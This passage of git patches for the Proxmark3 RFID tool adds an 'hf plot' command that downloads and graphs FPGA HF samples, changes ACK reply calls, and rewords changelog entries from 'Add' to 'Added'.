HfPlotDownload(); + break; + } +#endif + #ifdef WITH_SMARTCARD case CMD_SMART_ATR: { SmartCardAtr(); @@ -1637,7 +1650,7 @@ static void PacketReceived(PacketCommandNG *packet) { Dbprintf("transfer to client failed :: | bytes between %d - %d (%d) | result: %d", i, i + len, len, result); } // Trigger a finish downloading signal with an ACK frame - reply_old(CMD_ACK, 1, 0, 0, 0, 0); + reply_mix(CMD_ACK, 1, 0, 0, 0, 0); LED_B_OFF(); break; } @@ -1698,7 +1711,7 @@ static void PacketReceived(PacketCommandNG *packet) { Dbprintf("transfer to client failed :: | bytes between %d - %d (%d) | result: %d", i, i + len, len, result); } // Trigger a finish downloading signal with an ACK frame - reply_old(CMD_ACK, 1, 0, 0, 0, 0); + reply_mix(CMD_ACK, 1, 0, 0, 0, 0); LED_B_OFF(); break; } @@ -1780,7 +1793,7 @@ static void PacketReceived(PacketCommandNG *packet) { } else { rdv40_spiffs_append((char *) filename, (uint8_t *)data, size, RDV40_SPIFFS_SAFETY_SAFE); } - reply_old(CMD_ACK, 1, 0, 0, 0, 0); + reply_mix(CMD_ACK, 1, 0, 0, 0, 0); LED_B_OFF(); break; } @@ -1822,7 +1835,7 @@ static void PacketReceived(PacketCommandNG *packet) { res = Flash_Write(startidx, data, len); isok = (res == len) ? 1 : 0; - reply_old(CMD_ACK, isok, 0, 0, 0, 0); + reply_mix(CMD_ACK, isok, 0, 0, 0, 0); LED_B_OFF(); break; } @@ -1833,14 +1846,14 @@ static void PacketReceived(PacketCommandNG *packet) { bool isok = false; if (initalwipe) { isok = Flash_WipeMemory(); - reply_old(CMD_ACK, isok, 0, 0, 0, 0); + reply_mix(CMD_ACK, isok, 0, 0, 0, 0); LED_B_OFF(); break; } if (page < 3) isok = Flash_WipeMemoryPage(page); - reply_old(CMD_ACK, isok, 0, 0, 0, 0); + reply_mix(CMD_ACK, isok, 0, 0, 0, 0); LED_B_OFF(); break; } @@ -1871,7 +1884,7 @@ static void PacketReceived(PacketCommandNG *packet) { } FlashStop(); - reply_old(CMD_ACK, 1, 0, 0, 0, 0); + reply_mix(CMD_ACK, 1, 0, 0, 0, 0); BigBuf_free(); LED_B_OFF(); break; diff --git a/armsrc/fpgaloader.c b/armsrc/fpgaloader.c index 9b7e83470..a441163e1 100644 --- a/armsrc/fpgaloader.c +++ b/armsrc/fpgaloader.c @@ -124,8 +124,8 @@ void SetupSpi(int mode) { } //----------------------------------------------------------------------------- -// Set up the synchronous serial port, with the one set of options that we -// always use when we are talking to the FPGA. Both RX and TX are enabled. +// Set up the synchronous serial port with the set of options that fits +// the FPGA mode. Both RX and TX are always enabled. //----------------------------------------------------------------------------- void FpgaSetupSsc(void) { // First configure the GPIOs, and get ourselves a clock. @@ -141,16 +141,16 @@ void FpgaSetupSsc(void) { // Now set up the SSC proper, starting from a known state. AT91C_BASE_SSC->SSC_CR = AT91C_SSC_SWRST; - // RX clock comes from TX clock, RX starts when TX starts, data changes - // on RX clock rising edge, sampled on falling edge + // RX clock comes from TX clock, RX starts on Transmit Start, + // data and frame signal is sampled on falling edge of RK AT91C_BASE_SSC->SSC_RCMR = SSC_CLOCK_MODE_SELECT(1) | SSC_CLOCK_MODE_START(1); // 8 bits per transfer, no loopback, MSB first, 1 transfer per sync // pulse, no output sync AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); - // clock comes from TK pin, no clock output, outputs change on falling - // edge of TK, sample on rising edge of TK, start on positive-going edge of sync + // TX clock comes from TK pin, no clock output, outputs change on falling + // edge of TK, frame sync is sampled on rising edge of TK, start TX on rising edge of TF AT91C_BASE_SSC->SSC_TCMR = SSC_CLOCK_MODE_SELECT(2) | SSC_CLOCK_MODE_START(5); // tx framing is the same as the rx framing diff --git a/armsrc/hfsnoop.c b/armsrc/hfsnoop.c index 2c96ec218..4ab03cd22 100644 --- a/armsrc/hfsnoop.c +++ b/armsrc/hfsnoop.c @@ -1,3 +1,12 @@ +//----------------------------------------------------------------------------- +// piwi, 2019 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Routines to get sample data from FPGA. +//----------------------------------------------------------------------------- #include "hfsnoop.h" #include "proxmark3_arm.h" #include "BigBuf.h" @@ -5,8 +14,9 @@ #include "ticks.h" #include "dbprint.h" #include "util.h" - -static void RAMFUNC optimizedSniff(void); +#include "fpga.h" +#include "appmain.h" +#include "cmd.h" static void RAMFUNC optimizedSniff(void) { int n = BigBuf_max_traceLen() / sizeof(uint16_t); // take all memory @@ -79,3 +89,42 @@ void HfSniff(int samplesToSkip, int triggersToSkip) { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LED_D_OFF(); } + +void HfPlotDownload(void) { + uint8_t *buf = ToSend; + uint8_t *this_buf = buf; + + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + + FpgaSetupSsc(); + + AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; // Disable DMA Transfer + AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) this_buf; // start transfer to this memory address + AT91C_BASE_PDC_SSC->PDC_RCR = PM3_CMD_DATA_SIZE; // transfer this many samples + buf[0] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // clear receive register + AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN; // Start DMA transfer + + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_GET_TRACE); // let FPGA transfer its internal Block-RAM + + LED_B_ON(); + for(size_t i = 0; i < FPGA_TRACE_SIZE; i += PM3_CMD_DATA_SIZE) { + // prepare next DMA transfer: + uint8_t *next_buf = buf + ((i + PM3_CMD_DATA_SIZE) % (2 * PM3_CMD_DATA_SIZE)); + + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)next_buf; + AT91C_BASE_PDC_SSC->PDC_RNCR = PM3_CMD_DATA_SIZE; + + size_t len = MIN(FPGA_TRACE_SIZE - i, PM3_CMD_DATA_SIZE); + + while (!(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX))) {}; // wait for DMA transfer to complete + + reply_old(CMD_FPGAMEM_DOWNLOADED, i, len, FPGA_TRACE_SIZE, this_buf, len); + this_buf = next_buf; + } + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + // Trigger a finish downloading signal with an ACK frame + reply_mix(CMD_ACK, 1, 0, FPGA_TRACE_SIZE, 0, 0); + LED_B_OFF(); +} diff --git a/armsrc/hfsnoop.h b/armsrc/hfsnoop.h index b6fac7eb7..049536940 100644 --- a/armsrc/hfsnoop.h +++ b/armsrc/hfsnoop.h @@ -1,6 +1,7 @@ //----------------------------------------------------------------------------- // Jonathan Westhues, Aug 2005 // Gerhard de Koning Gans, April 2008, May 2011 +// Piwi, Feb 2019 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -12,5 +13,5 @@ #define __HFSNOOP_H void HfSniff(int, int); - +void HfPlotDownload(void); #endif diff --git a/client/cmdhf.c b/client/cmdhf.c index 7f6c7facf..347e4de46 100644 --- a/client/cmdhf.c +++ b/client/cmdhf.c @@ -3,6 +3,7 @@ // Merlok - 2017 // Doegox - 2019 // Iceman - 2019 +// Piwi - 2019 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -12,11 +13,11 @@ //----------------------------------------------------------------------------- #include "cmdhf.h" -#include // tolower - -#include "cmdparser.h" // command_t -#include "comms.h" // clearCommandBuffer +#include // tolower +#include "cmdparser.h" // command_t +#include "cliparser/cliparser.h" // parse +#include "comms.h" // clearCommandBuffer #include "cmdhf14a.h" // ISO14443-A #include "cmdhf14b.h" // ISO14443-B #include "cmdhf15.h" // ISO15693 @@ -34,6 +35,9 @@ #include "cmdhflto.h" // LTO-CM #include "cmdtrace.h" // trace list #include "ui.h" +#include "cmddata.h" +#include "graph.h" +#include "../common_fpga/fpga.h" static int CmdHelp(const char *Cmd); @@ -224,6 +228,35 @@ int CmdHFSniff(const char *Cmd) { return PM3_SUCCESS; } +int CmdHFPlot(const char *Cmd) { + CLIParserInit("hf plot", + "Plots HF signal after RF signal path and A/D conversion.", + "This can be used after any hf command and will show the last few milliseconds of the HF signal.\n" + "Note: If the last hf command terminated because of a timeout you will most probably see nothing.\n"); + void* argtable[] = { + arg_param_begin, + arg_param_end + }; + CLIExecWithReturn(Cmd, argtable, true); + + uint8_t buf[FPGA_TRACE_SIZE]; + + PacketResponseNG response; + if (!GetFromDevice(FPGA_MEM, buf, FPGA_TRACE_SIZE, 0, NULL, 0, &response, 4000, true)) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return PM3_ETIMEOUT; + } + + for (size_t i = 0; i < FPGA_TRACE_SIZE; i++) { + GraphBuffer[i] = (int)buf[i] - 128; + } + + GraphTraceLen = FPGA_TRACE_SIZE; + ShowGraphWindow(); + RepaintGraphWindow(); + return PM3_SUCCESS; +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"14a", CmdHF14A, AlwaysAvailable, "{ ISO14443A RFIDs... }"}, @@ -241,6 +274,7 @@ static command_t CommandTable[] = { {"fido", CmdHFFido, AlwaysAvailable, "{ FIDO and FIDO2 authenticators... }"}, {"thinfilm", CmdHFThinfilm, AlwaysAvailable, "{ Thinfilm RFIDs... }"}, {"list", CmdTraceList, AlwaysAvailable, "List protocol data in trace buffer"}, + {"plot", CmdHFPlot, IfPm3Hfplot, "Plot signal"}, {"tune", CmdHFTune, IfPm3Present, "Continuously measure HF antenna tuning"}, {"search", CmdHFSearch, AlwaysAvailable, "Search for known HF tags"}, {"sniff", CmdHFSniff, IfPm3Hfsniff, " Generic HF Sniff"}, diff --git a/client/cmdhf.h b/client/cmdhf.h index 14ded8e0e..09af16d5e 100644 --- a/client/cmdhf.h +++ b/client/cmdhf.h @@ -1,6 +1,6 @@ //----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh -// +// Piwi, Feb 2019 // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. @@ -17,5 +17,6 @@ int CmdHF(const char *Cmd); int CmdHFTune(const char *Cmd); int CmdHFSearch(const char *Cmd); int CmdHFSniff(const char *Cmd); +int CmdHFPlot(const char *Cmd); #endif diff --git a/client/cmdparser.c b/client/cmdparser.c index fca6fb772..ab9fd3732 100644 --- a/client/cmdparser.c +++ b/client/cmdparser.c @@ -95,6 +95,12 @@ bool IfPm3Hfsniff(void) { return pm3_capabilities.compiled_with_hfsniff; } +bool IfPm3Hfplot(void) { + if (!IfPm3Present()) + return false; + return pm3_capabilities.compiled_with_hfplot; +} + bool IfPm3Iso14443a(void) { if (!IfPm3Present()) return false; diff --git a/client/cmdparser.h b/client/cmdparser.h index b98aef9d4..1105f63ae 100644 --- a/client/cmdparser.h +++ b/client/cmdparser.h @@ -34,6 +34,7 @@ bool IfPm3FpcUsartFromUsb(void); bool IfPm3Lf(void); bool IfPm3Hitag(void); bool IfPm3Hfsniff(void); +bool IfPm3Hfplot(void); bool IfPm3Iso14443a(void); bool IfPm3Iso14443b(void); bool IfPm3Iso14443(void); diff --git a/client/comms.c b/client/comms.c index cbabe3354..9b031eb9e 100644 --- a/client/comms.c +++ b/client/comms.c @@ -797,6 +797,10 @@ bool GetFromDevice(DeviceMemType_t memtype, uint8_t *dest, uint32_t bytes, uint3 //return dl_it(dest, bytes, response, ms_timeout, show_warning, CMD_DOWNLOADED_SIMMEM); return false; } + case FPGA_MEM: { + SendCommandMIX(CMD_FPGAMEM_DOWNLOAD, start_index, bytes, 0, NULL, 0); + return dl_it(dest, bytes, response, ms_timeout, show_warning, CMD_FPGAMEM_DOWNLOADED); + } } return false; } diff --git a/client/comms.h b/client/comms.h index b49ff6d11..eaf9a16c0 100644 --- a/client/comms.h +++ b/client/comms.h @@ -40,7 +40,8 @@ typedef enum { BIG_BUF_EML, FLASH_MEM, SIM_MEM, - SPIFFS + SPIFFS, + FPGA_MEM, } DeviceMemType_t; typedef struct { diff --git a/common_arm/Makefile.hal b/common_arm/Makefile.hal index 22ae385c3..8fe070582 100644 --- a/common_arm/Makefile.hal +++ b/common_arm/Makefile.hal @@ -92,7 +92,8 @@ PLATFORM_DEFS += \ -DWITH_ICLASS \ -DWITH_FELICA \ -DWITH_NFCBARCODE \ - -DWITH_HFSNIFF + -DWITH_HFSNIFF \ + -DWITH_HFPLOT # Standalone mode diff --git a/common_fpga/fpga.h b/common_fpga/fpga.h index 5ab015f57..31580d8c9 100644 --- a/common_fpga/fpga.h +++ b/common_fpga/fpga.h @@ -14,6 +14,8 @@ #define FPGA_INTERLEAVE_SIZE 288 #define FPGA_CONFIG_SIZE 42336L // our current fpga_[lh]f.bit files are 42175 bytes. Rounded up to next multiple of FPGA_INTERLEAVE_SIZE +#define FPGA_TRACE_SIZE 3072 + static const uint8_t bitparse_fixed_header[] = {0x00, 0x09, 0x0f, 0xf0, 0x0f, 0xf0, 0x0f, 0xf0, 0x0f, 0xf0, 0x00, 0x00, 0x01}; extern const int fpga_bitstream_num; extern const char *const fpga_version_information[]; diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index 9100348bc..ac397ff61 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -174,6 +174,7 @@ typedef struct { bool compiled_with_hitag : 1; // hf bool compiled_with_hfsniff : 1; + bool compiled_with_hfplot : 1; bool compiled_with_iso14443a : 1; bool compiled_with_iso14443b : 1; bool compiled_with_iso15693 : 1; @@ -188,7 +189,7 @@ typedef struct { bool hw_available_flash : 1; bool hw_available_smartcard : 1; } PACKED capabilities_t; -#define CAPABILITIES_VERSION 3 +#define CAPABILITIES_VERSION 4 extern capabilities_t pm3_capabilities; // For CMD_LF_T55XX_WRITEBL @@ -522,6 +523,11 @@ typedef struct { #define CMD_HF_MFU_OTP_TEAROFF 0x0740 #define CMD_HF_SNIFF 0x0800 +#define CMD_HF_PLOT 0x0801 + +// Fpga plot download +#define CMD_FPGAMEM_DOWNLOAD 0x0802 +#define CMD_FPGAMEM_DOWNLOADED 0x0803 // For ThinFilm Kovio #define CMD_HF_THINFILM_READ 0x0810 From c591caa6a0d156265c6a1c542a79ad2f3c249921 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 Jan 2020 16:57:27 +0100 Subject: [PATCH 290/418] textual --- CHANGELOG.md | 193 ++++++++++++++++++++++++++------------------------- 1 file changed, 97 insertions(+), 96 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 44607add4..24a4c091d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,11 +3,12 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added `hf plot` (@pwpiwi) - Fix `lf config` - when called with no params, it no longer mess up all device lf config settings. (@iceman1001) - Change `lf indala clone` - new option `--Q5` writes to q5/T5555 tags. (@iceman1001) - Change `lf indala clone` - new option `-c ` allows cloning INDALA tag from Heden2L/Hedengren ID format (@iceman1001) - Thanks to @randomdude42 for solution - Change `lf indala demod` - added decode Heden2L/Hedengren format (@iceman1001) - Thanks to @randomdude42 for solution - - Add `commands.md` - document with all proxmark client commands. Generated with XX_internal_command_dump_markdown_XX. (@iceman1001) + - Added `commands.md` - document with all proxmark client commands. Generated with XX_internal_command_dump_markdown_XX. (@iceman1001) - Change `lf pac clone` - new option `c ` to allow cloning PAC/Stanley tag from card ID (@danshuk) - Change `lf pac read` - decoded PAC/Stanley card ID (@danshuk) - Change mifare classic keytable output refactored and uses colors (@iceman1001) @@ -17,11 +18,11 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Change `hf mf hardnested` - now detects "static / fixed" nonce tags and exits (@iceman1001) - Change `hf mf csave` - now uses UID in filename (@iceman1001) - Fix `hf mf chk` - read block B logical error. #489 (@iceman1001) - - Add `hf mf ekeyprn d` - new parameter to save keys to file (@iceman1001) - - Add `mfu_magic.lua` - script to interact with your magic NTAG tag. (@iceman1001) - - Add `hf_bruteforce.lua` - script bruteforces uid for 14a using hf 14a sim (@keld) - - Add `tools\pm3_cs8.pl` - convert .pm3 files to wave format (@samyk) - - Add `tools\pm3_amii_bin2eml.pl` - amiibo convering script (@samyk) + - Added `hf mf ekeyprn d` - new parameter to save keys to file (@iceman1001) + - Added `mfu_magic.lua` - script to interact with your magic NTAG tag. (@iceman1001) + - Added `hf_bruteforce.lua` - script bruteforces uid for 14a using hf 14a sim (@keld) + - Added `tools\pm3_cs8.pl` - convert .pm3 files to wave format (@samyk) + - Added `tools\pm3_amii_bin2eml.pl` - amiibo convering script (@samyk) - Change `hf 14a info` - now detects "static / fixed" nonce tags (@iceman1001) - Change `data save f w` - params reworked. (@iceman1001) - Change `hf search` - now should detect LTO-CM tags (@iceman1001) @@ -46,16 +47,16 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Change `lf indala read` - added indala 26bit decoding (@martinbeier) - Change `lf t55xx detect` to try without password first (@mwalker33) - Display high bit for detected Kastle HIDs to allow `lf hid clone [id]` to work properly (@swg0101) - - Add option `-n` to scripts pm3* (@doegox) - - Add `wiegand list/encode/decode` - wiegand format manipulation. Adapted to fit here. (@grauerfuchs) + - Added option `-n` to scripts pm3* (@doegox) + - Added `wiegand list/encode/decode` - wiegand format manipulation. Adapted to fit here. (@grauerfuchs) - Added support for color text on windows 10 (@mwalker33) - Added `s` to `lf config` / `lf sniff` to skip samples when sniffing based on same option in Proxmark/proxmark3 by @marshmellow42. (@mwalker33) - Added save to .eml and .bin for `em 4x05_dump` (@mwalker33) - - Add option `-n` to scripts pm3* (@doegox) + - Added option `-n` to scripts pm3* (@doegox) - Fix `em 4x05_dump` to print all blocks read (@mwalker33) - Fix T55xx config getting displayed when using password when no password needed on read. (@mwalker33) - Added T55x7 downlink mode auto usage via mode detected (lf t55 detect) (@mwalker33) - - Add `lf t55xx protect` - sets password and enables password protection on t55x7 tag (@iceman1001) + - Added `lf t55xx protect` - sets password and enables password protection on t55x7 tag (@iceman1001) - Change `lf t55xx wipe` - now accepts user provided configuration block (@iceman1001) - Added T55x7 downlink mode support r 0 Default, 1 Long Leading 0, 2 Leading 0, 3 1 of 4 and 4 (in some commands) try all. (@mwalker33) - Change proxmark3-flasher is now merged into proxmark3 client. Add pm3-flash (@doegox) @@ -65,11 +66,11 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Change `hf iclass dump` - retries ten times, less output (honor verbose) (@iceman1001) - Rename `hf iclass writeblk` -> `hf iclass wrbl` to match hf mf wrbl (@iceman1001) - Rename `hf iclass readblk` -> `hf iclass rdbl` to match hf mf rdbl (@iceman1001) - - Add cmdscript example and show usage with shebang (@doegox) - - Add instructions for Fedora (@doegox) + - Added cmdscript example and show usage with shebang (@doegox) + - Added instructions for Fedora (@doegox) - Change reduce the list of requirements to the minimum and move to QT5 (@doegox) - - Add `make install` and reorganize/rename stuffs accordingly (@doegox) - - Add searchFile for several types of files (@doegox / @iceman1001) + - Added `make install` and reorganize/rename stuffs accordingly (@doegox) + - Added searchFile for several types of files (@doegox / @iceman1001) - Change posix sh version of mkversion (@doegox) - Change remove entirely ncurses, not needed nowadays (@doegox) - Change remove deprecated termcap, use ncurses instead (@ZeroChaos-) @@ -78,158 +79,158 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Change `hf mf fchk m` - now secretly dumps card to emul, if all keys are found (@iceman1001) - Change history and logfile are now saved into $HOME/.proxmark3/ (@doegox) - Change optimization of iclass mac calculations on deviceside (@pwpiwi) - - Add `hf mf autopwn` - Autopwn function for Mifare Classic, extract all keys and dump card memory (@matthiaskonrath) - - Add Lua paths: look for scripts also in ~/.proxmark/lua{scripts,libs} and /usr/local/share/proxmark3/lua{scripts,libs} (@doegox) + - Added `hf mf autopwn` - Autopwn function for Mifare Classic, extract all keys and dump card memory (@matthiaskonrath) + - Added Lua paths: look for scripts also in ~/.proxmark/lua{scripts,libs} and /usr/local/share/proxmark3/lua{scripts,libs} (@doegox) - Change Lua directory scripts/ to luascript/ (@doegox) - Change non-rdv4 PLATFORM must now use the generic PM3OTHER, simpler (@doegox) - Fix reveng integration for all platforms else than WIN32 (@doegox) - - Add cheat sheet for easy operations of the Proxmark3 (scund00r) + - Added cheat sheet for easy operations of the Proxmark3 (scund00r) - Chg commands are now in green in the helptext list (@iceman1001) - Fix `script run ndefdump` - better exit messages when failing (@iceman1001) - Fix `hf iclass dump` - now also saves in EML format (@iceman1001) - Fix `hf iclass sim 3` - now works on legacy readers and legacy SE readers (@iceman1001) - Rework hitag2 read/write help (@ViRb3) - - Add `lf nedap` - encoding / decoding (anon) - - Add client option `-i` to stay in interactive mode after a script or command (@DidierStevens/@doegox) - - Add VSCode tasks (@ViRb3) + - Added `lf nedap` - encoding / decoding (anon) + - Added client option `-i` to stay in interactive mode after a script or command (@DidierStevens/@doegox) + - Added VSCode tasks (@ViRb3) - Better warn user of hardcoded hitag info (@ViRb3) - Format and docs hitag (@ViRb3) - Fix hitag password write offset by 1 (@ViRb3) - Fix momentarily flash read/write of dicts (@doegox/@cjbrigato) - - Add some more default keys (@anon) - - Add `hf thinfilm sim` simulating Thinfilm NFC barcode tags (@doegox) - - Add `hf thinfilm list` specific trace decoding (Thinfilm NFC barcode tags) (@doegox) + - Added some more default keys (@anon) + - Added `hf thinfilm sim` simulating Thinfilm NFC barcode tags (@doegox) + - Added `hf thinfilm list` specific trace decoding (Thinfilm NFC barcode tags) (@doegox) - Fix `hf topaz reader` - don't crash when trying to read a Thinfilm tag (@iceman1001) - - Add `hf thinfilm info` - read / decode Kovio Thinfilm NFC barcode tags (@iceman1001) - - Add FPGA LF adc path (@anon) - - Add ECC support / check for NID_secp128r1 (@pwpiwi) - - Add some more default keys (ollibolli) + - Added `hf thinfilm info` - read / decode Kovio Thinfilm NFC barcode tags (@iceman1001) + - Added FPGA LF adc path (@anon) + - Added ECC support / check for NID_secp128r1 (@pwpiwi) + - Added some more default keys (ollibolli) - Fix T55x7 Downlink timings backward compatible (@mwalker33) - - Add proper Makefile halting when using incompatible STANDALONE and PLATFORM vars (@doegox) - - Add T55x7 Downlink mode support (@mwalker33) - - Add SPIFFS Flash filesystem support (@cjbrigato) + - Added proper Makefile halting when using incompatible STANDALONE and PLATFORM vars (@doegox) + - Added T55x7 Downlink mode support (@mwalker33) + - Added SPIFFS Flash filesystem support (@cjbrigato) - Fix support for flashing 512K units with old bootrom (@slurdge/@doegox) - Fix `hf mf sim` - wrong access rights to write key B in trailer (@McEloff) - - Add option -i to flasher to query Pm3 for its memory size (@doegox) - - Add support for flashing 512K units (@slurdge) - - Add a simple python tool to check the elf sizes (@slurdge) + - Added option -i to flasher to query Pm3 for its memory size (@doegox) + - Added support for flashing 512K units (@slurdge) + - Added a simple python tool to check the elf sizes (@slurdge) - Change: new keys for Vigik badges in default_keys.dict (@luminouw) - - Add `hw standalone` to jump to standalone mode from command line or script (@doegox) - - Add to `hf 14a apdu` print apdu and compose apdu (@merlokk) + - Added `hw standalone` to jump to standalone mode from command line or script (@doegox) + - Added to `hf 14a apdu` print apdu and compose apdu (@merlokk) - Change: buggy `mem read` removed, `mem save` renamed `mem dump`, can now display too (@doegox) - Fix: timeout for mem wipe was too short, thanks @cjbrigato (@doegox) - Fix `hf mf sim` - Mifare Classic simulation more flexible anti-collision check (@McEloff) - Change: `hf mf sim` - Mifare Classic simulation not respond NACK on invalid authentication request (@McEloff) - Change: `read_pwd_mem.lua` now handles Mifare Classic dictionaries large than 4096 bytes (@iceman1001) - Change: Do not clear trace log during `hf mf chk`, to save whole process history (@McEloff) - - Add `msleep` command, for pauses in scripts (@doegox) - - Add support for WSL in proxmark.sh (@doegox) - - Add documentation for usage of Proxmark3 under WSL (@doegox) + - Added `msleep` command, for pauses in scripts (@doegox) + - Added support for WSL in proxmark.sh (@doegox) + - Added documentation for usage of Proxmark3 under WSL (@doegox) - Change: replace aes.c with mbedtls version (@slurdge) - Change: replace ukbhit by kbd_enter_pressed, not requiring tcgetattr (@xianglin1998/@doegox) - - Add config for RaspberryPi in JTAG tools (@doegox) - - Add config for FTDI C232HM-DDHSL-0 in JTAG tools (@doegox) + - Added config for RaspberryPi in JTAG tools (@doegox) + - Added config for FTDI C232HM-DDHSL-0 in JTAG tools (@doegox) - Fix compilation under MacOSX with binutils (@matrix) - - Add dynamic report of the chipID for flashing purposes (@slurdge) + - Added dynamic report of the chipID for flashing purposes (@slurdge) - Fix Clang warnings (@matrix) - Fix EMVGPO bug (@matrix) - - Add hitag2 write password auth (@ViRb3) - - Add check if bootloader segment is within bounds (@slurdge) - - Add `hf 15 csetuid` - set UID on ISO-15693 Magic tags (@t0m4-null) + - Added hitag2 write password auth (@ViRb3) + - Added check if bootloader segment is within bounds (@slurdge) + - Added `hf 15 csetuid` - set UID on ISO-15693 Magic tags (@t0m4-null) - Change: Print help if unknown arg for hitag reader/writer (@ViRb3) - Fix clock deadlock in hitag sniff (@ViRb3) - - Add compiler info in client & ARM sections (@slurdge) - - Add support for automatic COM detection on Windows (@slurdge) - - Add support for compilation on RaspberryPiZero (armv6) (@doegox) + - Added compiler info in client & ARM sections (@slurdge) + - Added support for automatic COM detection on Windows (@slurdge) + - Added support for compilation on RaspberryPiZero (armv6) (@doegox) - Change: updates to README (@iceman1001) - Change: `hf mf/mfu dbg` => `hw dbg` (@doegox) - Change: replace usb_poll_validate_length() by data_available() that supports USART too (@doegox) - Make sure standalone modes can be launched when connected on USB without client (@doegox) - Change: cleaner makefile execution, use `make V=1` if you want to see full lines (@doegox) - Change: automate make clean when platform definitions are changed (@doegox) - - Add STANDALONE option to Makefile.hal (@Fl0-0) + - Added STANDALONE option to Makefile.hal (@Fl0-0) - Change: mem info - production public key to verify rdv4.0 flash signature (@iceman1001) - Fix specify that we need TCP and not UDP connection (@phcoder) - Change: lf cotag demod - adjusted error trigger (@iceman1001) - - Add documentation on BT add-on (@iceman1001/@doegox) + - Added documentation on BT add-on (@iceman1001/@doegox) - Change: new button behaviour in bootloader mode, no need to keep it pressed, press again to interrupt (@doegox) - Change: new keys in dicts, new mem layout to accomodate them (@iceman1001/various) - Fix lf sim - if called with empty graphbuffer all strange things happend, like turning on HF field (@iceman1001) - Change: hf 14a sim / hf mf sim - check buttonpress/usb frame fewer times in order not to disrupt simulation (@McEloff) - Change: data convertbitstream - converts bit to max/min in order to facilitate demodulation of simulation data (@iceman1001) - Change: lf em 410x_demod - now can demod the simulation data (@iceman1001) - - Add HC-06 scripts for BT add-on (@doegox) + - Added HC-06 scripts for BT add-on (@doegox) - Fix lf nedap sim - error when adding parity (@iceman1001) - - Add documentation on UART and baudrates (@doegox/@iceman1001) + - Added documentation on UART and baudrates (@doegox/@iceman1001) - Change: prompt now shows which channel is used (@iceman1001) - Change: USART baudrates computation, up to 6Mbps (@iceman1001/@doegox) - Change: hf mf nack - keep sync if started without card over antenna - - Add usart btfactory - to reset a misconfigured BT add-on (@doegox) + - Added usart btfactory - to reset a misconfigured BT add-on (@doegox) - Change: hw status - now prints number of dictionary keys loaded (@iceman1001) - - Add home, end, pageup, and pagedown keybinds to the plot GUI. Also fix paged movement in GUI. (@mcd1992) + - Added home, end, pageup, and pagedown keybinds to the plot GUI. Also fix paged movement in GUI. (@mcd1992) - Change legic.lua saves data in EML and BIN formats (@iceman1001) - Change hf tune - is now synchronous (for BT add-on) and can be interrupted by kbd (@doegox) - Change: update macOS install instruction (@ Uli Heilmeier) - - Add trace ouput in hexdump format for Wireshark import (@ Uli Heilmeier) - - Add usart btpin - to change BT add-on PIN (@doegox) - - Add reconnection support (@iceman1001/@doegox) - - Add usart tx/rx/... - USART developer commands (@doegox) - - Add PLATFORM_EXTRAS, WITH_FPC_USART_HOST, BTADDON Makefile configuration (@doegox) + - Added trace ouput in hexdump format for Wireshark import (@ Uli Heilmeier) + - Added usart btpin - to change BT add-on PIN (@doegox) + - Added reconnection support (@iceman1001/@doegox) + - Added usart tx/rx/... - USART developer commands (@doegox) + - Added PLATFORM_EXTRAS, WITH_FPC_USART_HOST, BTADDON Makefile configuration (@doegox) - Fix slow reconfigure on mingw of serial port (@iceman1001) - Fix cross thread communictions of timeout variable (@iceman1001) - Change: client is now "universal", adapting to Proxmark3 capabilities (@doegox) - - Add disconnect support to Lua (@iceman1001) + - Added disconnect support to Lua (@iceman1001) - Change: handles FPC/FLASH FW more gracefully on non-RDV4 pm3 (@doegox) - - Add JTAG support for Shikra (@NinjaStyle82) + - Added JTAG support for Shikra (@NinjaStyle82) - Change: smart color handling: only if linux and on real term (@doegox) - Change: reconfigure uart timeouts when compiled for FPC and connecting over USB (@iceman1001) - Change: fast push for many commands (@iceman1001/@doegox) - - Add: fast push for Lua (@iceman1001) - - Add NDEF parser in Lua (@iceman1001) + - Added: fast push for Lua (@iceman1001) + - Added NDEF parser in Lua (@iceman1001) - Change: improve NDEF parser (@iceman1001) - Change: all commands got migrated to MIX/NG packet format (@iceman1001/@doegox) - Fix: Mifare Ultralight read block missing bytes (@doegox) - - Add support new frame format in all Lua scripts (@iceman1001) - - Add CMD_CAPABILITIES for pm3 to inform dynamically the client (@doegox) + - Added support new frame format in all Lua scripts (@iceman1001) + - Added CMD_CAPABILITIES for pm3 to inform dynamically the client (@doegox) - Change baudrate handling, make it clear it is only indicative for USB-CDC & BT (@doegox) - Change: new progressive light scheme for `hw detectreader` (@doegox) - - Add common error definitions system for retvals (@doegox) 